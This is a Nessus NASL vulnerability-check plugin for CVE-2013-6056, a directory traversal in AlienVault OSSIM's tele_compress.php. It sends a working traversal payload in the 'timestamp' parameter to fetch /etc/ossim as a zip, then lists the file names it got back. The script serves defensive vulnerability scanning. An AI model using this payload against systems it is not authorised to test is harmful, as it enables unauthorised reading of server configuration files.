OSSIM tele_compress.php Directory Traversal

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(76122);
  script_version("1.6");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_cve_id("CVE-2013-6056");
  script_bugtraq_id(62899);

  script_name(english:"OSSIM tele_compress.php Directory Traversal");
  script_summary(english:"Tries to download the contents of /etc/ossim");

  script_set_attribute(attribute:"synopsis", value:
"An application hosted on the remote web server has a directory
traversal vulnerability.");
  script_set_attribute(attribute:"description", value:
"The OSSIM install hosted on the remote host has a directory traversal
vulnerability. Input to the 'timestamp' parameter of the
'/ossim/ocsreports/tele_compress.php' script is not properly
sanitized.

A remote attacker could exploit this to download arbitrary files,
subject to the privileges under which the web server operates.");
  script_set_attribute(attribute:"see_also", value:"http://forums.alienvault.com/discussion/comment/9407");
  script_set_attribute(attribute:"solution", value:"Upgrade to OSSIM 4.3.3.1 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");

  script_set_attribute(attribute:"vuln_publication_date", value:"2013/10/08");
  script_set_attribute(attribute:"patch_publication_date", value:"2013/10/11");
  script_set_attribute(attribute:"plugin_publication_date", value:"2014/06/18");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2014-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("ossim_web_detect.nasl");
  script_require_keys("www/ossim", "www/PHP");
  script_require_ports("Services/www", 443);

  exit(0);
}

include("audit.inc");
include("smb_func.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("bsal.inc");
include("zip.inc");
include("data_protection.inc");

get_kb_item_or_exit("www/ossim");

port = get_http_port(default:443, php:TRUE);

app_name = "AlienVault OSSIM";

install = get_install_from_kb(appname:'ossim', port:port, exit_on_fail:TRUE);
report_url = build_url(port:port, qs:install['dir']+'/');

payload = '/ocsreports/tele_compress.php?timestamp=../../../../etc/ossim';
url = install['dir'] + payload;
res = http_send_recv3(method:"GET", item:url, port:port, exit_on_fail:TRUE);
res_headers = parse_http_headers(status_line:res[0], headers:res[1]);

# Make sure the request was valid, otherwise the app isn't vulnerable,
# OCS was removed in later versions.
if (res_headers['$code'] != 200) audit(AUDIT_WEB_APP_NOT_AFFECTED, app_name, report_url);

# Make we sure got an attachment back.
pattern = "attachment;\s*filename=(\w+\.zip)";
match = eregmatch(string:res_headers['content-disposition'], pattern:pattern);
if (isnull(match)) audit(AUDIT_WEB_APP_NOT_AFFECTED, app_name, report_url);
filename = match[1];

# Parse the contents.
# First, get the directory name and remove it from the contents.
first_file_offset = stridx(res[2], "PK");
if (first_file_offset == -1) exit(1, "Failed to parse body of HTTP response containing " + filename + ".");

zip_dir = strip(left(res[2], first_file_offset));
zip_blob = right(res[2], strlen(res[2]) - first_file_offset);
zip_struct = zip_parse(blob:zip_blob);
if (isnull(zip_struct)) exit(1, "Failed to parse " + filename + " as a ZIP file.");

if (report_verbosity > 0)
{
  trailer = NULL;

  if (report_verbosity > 1)
  {
    trailer =
      '\nWhich returned the file ' + filename + ' containing the contents of ' +
      '\n' + zip_dir + ':' +
      '\n';

      foreach file (sort(keys(zip_struct['files']))) trailer += '\n  - ' + data_protection::sanitize_user_full_redaction(output:file);

      trailer += '\n';
  }

  report = get_vuln_report(items:url, port:port, trailer:trailer);
  security_hole(port:port, extra:report);
}
else security_hole(port);